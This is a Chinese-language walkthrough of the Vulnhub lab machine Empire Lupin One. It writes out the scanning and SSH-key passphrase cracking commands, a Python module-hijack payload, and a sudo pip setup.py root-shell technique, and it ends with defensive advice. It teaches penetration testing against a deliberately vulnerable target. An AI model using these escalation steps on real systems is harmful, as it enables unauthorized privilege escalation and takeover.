Vulnhub Empire Lupin One
字数 1275 2025-08-12 11:34:05

Empire Lupin One 靶场渗透测试教学文档

靶场概述

Empire Lupin One 是 Vulnhub 上的一个渗透测试靶场,难度中等,涉及Web应用安全、SSH密钥利用和权限提升等技术点。

靶场搭建

  1. 下载靶场

    • 下载地址:https://www.vulnhub.com/series/empire,507/
    • 文件格式:虚拟机压缩文件
  2. 导入虚拟机

    • 使用VMware直接导入
    • 网络模式:NAT或桥接模式均可
  3. 启动虚拟机

    • 默认IP:192.168.109.129(可能因网络环境不同而变化)

信息收集

端口扫描

nmap -sS -p 0-65535 -Pn -O 192.168.109.129

扫描结果

  • 80端口:HTTP服务(Apache 2.4.48)
  • 22端口:SSH服务

Web渗透

目录扫描

  1. 发现敏感文件:

    • /robots.txt
    • /~myfiles(注意特殊字符~
  2. 扩大扫描范围:

    • 使用/usr/share/wordlists/rockyou.txt字典
    • 发现新目录:/~secret

密钥文件发现

  1. /~secret目录下寻找SSH密钥:

    • 尝试常见后缀:.txt.pub
    • 最终找到:/~secret/.mysecret.txt
  2. 解码密钥文件:

    • 文件内容经过Base58编码
    • 解码后获得SSH私钥

SSH利用

密钥登录尝试

  1. 保存密钥到文件:

    echo "base58解码后的密钥内容" > id_rsa
    chmod 600 id_rsa
    
  2. 尝试登录:

    ssh -i id_rsa user@192.168.109.129
    
    • 发现需要密码

密钥密码爆破

  1. 使用ssh2john转换密钥:

    ssh2john id_rsa > hash.txt
    
  2. 使用fasttrack字典爆破:

    john --wordlist=/usr/share/wordlists/fasttrack.txt hash.txt
    
    • 爆破结果:P@55w0rd!
  3. 成功登录:

    ssh -i id_rsa user@192.168.109.129
    
    • 输入密码:P@55w0rd!

初始权限获取

  1. 查看用户目录:

    • 发现user.txt,获取第一个flag
  2. 发现提示文件:

    • 包含一个Python脚本和提示信息
    • 提示:Python脚本可以破坏账户

权限提升(arsene用户)

检查sudo权限

sudo -l

结果

  • 可以以arsene用户免密执行:
    • python3.9
    • heist文件

利用方法

  1. 分析heist文件:

    • 发现引入了webbrowser模块
  2. 查找webbrowser.py

    • 位于Python3.9目录下
    • 当前用户有写入权限
  3. 修改webbrowser.py

    • 插入反向shell代码:
      import os
      os.system("/bin/bash")
      
  4. 执行heist文件:

    • 成功获取arsene用户权限

权限提升(root用户)

检查sudo权限

sudo -l

结果

  • 可以免密执行pip

利用pip提权

  1. 创建恶意setup.py

    TF=$(mktemp -d)
    echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
    
  2. 执行恶意安装:

    sudo pip install $TF
    
  3. 获取root权限:

    • 成功获得root shell

总结

渗透路径

  1. Web目录扫描 → 发现密钥文件 → Base58解码 → SSH密钥爆破
  2. 初始用户权限 → 利用Python模块注入 → arsene用户权限
  3. 利用pip安装漏洞 → root权限

关键技术点

  • 特殊字符目录扫描(~前缀)
  • Base58编码识别与解码
  • SSH密钥密码爆破
  • Python模块注入
  • pip安装提权技术

防御建议

  1. 避免在Web目录存放敏感文件
  2. 使用强密码保护SSH密钥
  3. 限制sudo权限
  4. 定期更新软件版本
  5. 严格控制文件系统权限
Empire Lupin One 靶场渗透测试教学文档 靶场概述 Empire Lupin One 是 Vulnhub 上的一个渗透测试靶场,难度中等,涉及Web应用安全、SSH密钥利用和权限提升等技术点。 靶场搭建 下载靶场 : 下载地址:https://www.vulnhub.com/series/empire,507/ 文件格式:虚拟机压缩文件 导入虚拟机 : 使用VMware直接导入 网络模式:NAT或桥接模式均可 启动虚拟机 : 默认IP:192.168.109.129(可能因网络环境不同而变化) 信息收集 端口扫描 扫描结果 : 80端口:HTTP服务(Apache 2.4.48) 22端口:SSH服务 Web渗透 目录扫描 发现敏感文件: /robots.txt /~myfiles (注意特殊字符 ~ ) 扩大扫描范围: 使用 /usr/share/wordlists/rockyou.txt 字典 发现新目录: /~secret 密钥文件发现 在 /~secret 目录下寻找SSH密钥: 尝试常见后缀: .txt 、 .pub 最终找到: /~secret/.mysecret.txt 解码密钥文件: 文件内容经过Base58编码 解码后获得SSH私钥 SSH利用 密钥登录尝试 保存密钥到文件: 尝试登录: 发现需要密码 密钥密码爆破 使用 ssh2john 转换密钥: 使用 fasttrack 字典爆破: 爆破结果: P@55w0rd! 成功登录: 输入密码: P@55w0rd! 初始权限获取 查看用户目录: 发现 user.txt ,获取第一个flag 发现提示文件: 包含一个Python脚本和提示信息 提示:Python脚本可以破坏账户 权限提升(arsene用户) 检查sudo权限 结果 : 可以以 arsene 用户免密执行: python3.9 heist 文件 利用方法 分析 heist 文件: 发现引入了 webbrowser 模块 查找 webbrowser.py : 位于Python3.9目录下 当前用户有写入权限 修改 webbrowser.py : 插入反向shell代码: 执行 heist 文件: 成功获取 arsene 用户权限 权限提升(root用户) 检查sudo权限 结果 : 可以免密执行 pip 利用pip提权 创建恶意 setup.py : 执行恶意安装: 获取root权限: 成功获得root shell 总结 渗透路径 Web目录扫描 → 发现密钥文件 → Base58解码 → SSH密钥爆破 初始用户权限 → 利用Python模块注入 → arsene用户权限 利用pip安装漏洞 → root权限 关键技术点 特殊字符目录扫描( ~ 前缀) Base58编码识别与解码 SSH密钥密码爆破 Python模块注入 pip安装提权技术 防御建议 避免在Web目录存放敏感文件 使用强密码保护SSH密钥 限制sudo权限 定期更新软件版本 严格控制文件系统权限